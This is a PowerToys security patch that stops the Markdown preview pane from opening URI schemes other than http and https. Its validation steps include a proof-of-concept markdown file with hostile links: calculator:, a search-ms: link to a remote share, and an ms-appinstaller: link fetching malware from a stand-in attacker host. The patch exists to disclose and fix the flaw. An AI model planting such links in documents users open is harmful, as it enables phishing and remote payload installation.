From 1b4641a158344f64a555c666d0d0f6398b660bf8 Mon Sep 17 00:00:00 2001 From: leileizhang Date: Thu, 26 Feb 2026 17:46:48 +0800 Subject: [PATCH] Fix: Restrict URI scheme navigation in MarkdownPreviewHandler to http/https only (#45801) ## Summary of the Pull Request The Markdown Preview Handler allowed arbitrary URI scheme execution when users clicked links in the preview pane. This patch restricts external navigation to http and https schemes only. ## PR Checklist - [ ] Closes: #xxx - [ ] **Communication:** I've discussed this with core contributors already. If the work hasn't been agreed, this work might be rejected - [ ] **Tests:** Added/updated and all pass - [ ] **Localization:** All end-user-facing strings can be localized - [ ] **Dev docs:** Added/updated - [ ] **New binaries:** Added on the required places - [ ] [JSON for signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json) for new binaries - [ ] [WXS for installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs) for new binaries and localization folder - [ ] [YML for CI pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml) for new test projects - [ ] [YML for signed pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml) - [ ] **Documentation updated:** If checked, please file a pull request on [our docs repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys) and link it here: #xxx ## Detailed Description of the Pull Request / Additional comments ## Validation Steps Performed **Steps:** 1. Create a file named `exploit.md` with the following content: ```markdown # PoC 1. [Click Me for RCE (Always Works)](calculator:) 2. [Remote File Search Phishing](search-ms:displayname=Confidential&crumb=location:\\\\127.0.0.1\\c$) 3. [App Installer (Requires Policy)](ms-appinstaller:?source=https://attacker.com/malware.msix) ``` 2. Open Windows File Explorer and navigate to the folder containing `exploit.md`. 3. Enable the "Preview pane" in File Explorer (View -> Show -> Preview pane). 4. Select `exploit.md` (single click) to render the preview. 5. Click the "Click Me for RCE" link. --- .../MarkdownPreviewHandlerControl.cs | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/src/modules/previewpane/MarkdownPreviewHandler/MarkdownPreviewHandlerControl.cs b/src/modules/previewpane/MarkdownPreviewHandler/MarkdownPreviewHandlerControl.cs index 189d72c9d4..9c3927074a 100644 --- a/src/modules/previewpane/MarkdownPreviewHandler/MarkdownPreviewHandlerControl.cs +++ b/src/modules/previewpane/MarkdownPreviewHandler/MarkdownPreviewHandlerControl.cs @@ -202,7 +202,15 @@ namespace Microsoft.PowerToys.PreviewHandler.Markdown if (args.Uri != null && args.Uri != _localFileURI?.ToString() && args.IsUserInitiated) { args.Cancel = true; - await Launcher.LaunchUriAsync(new Uri(args.Uri)); + + // Only allow http and https schemes to be opened externally. + // Block all other URI schemes (e.g. calculator:, search-ms:, etc.) + // to prevent arbitrary protocol handler execution from the preview pane. + if (Uri.TryCreate(args.Uri, UriKind.Absolute, out Uri uri) && + (uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps)) + { + await Launcher.LaunchUriAsync(uri); + } } };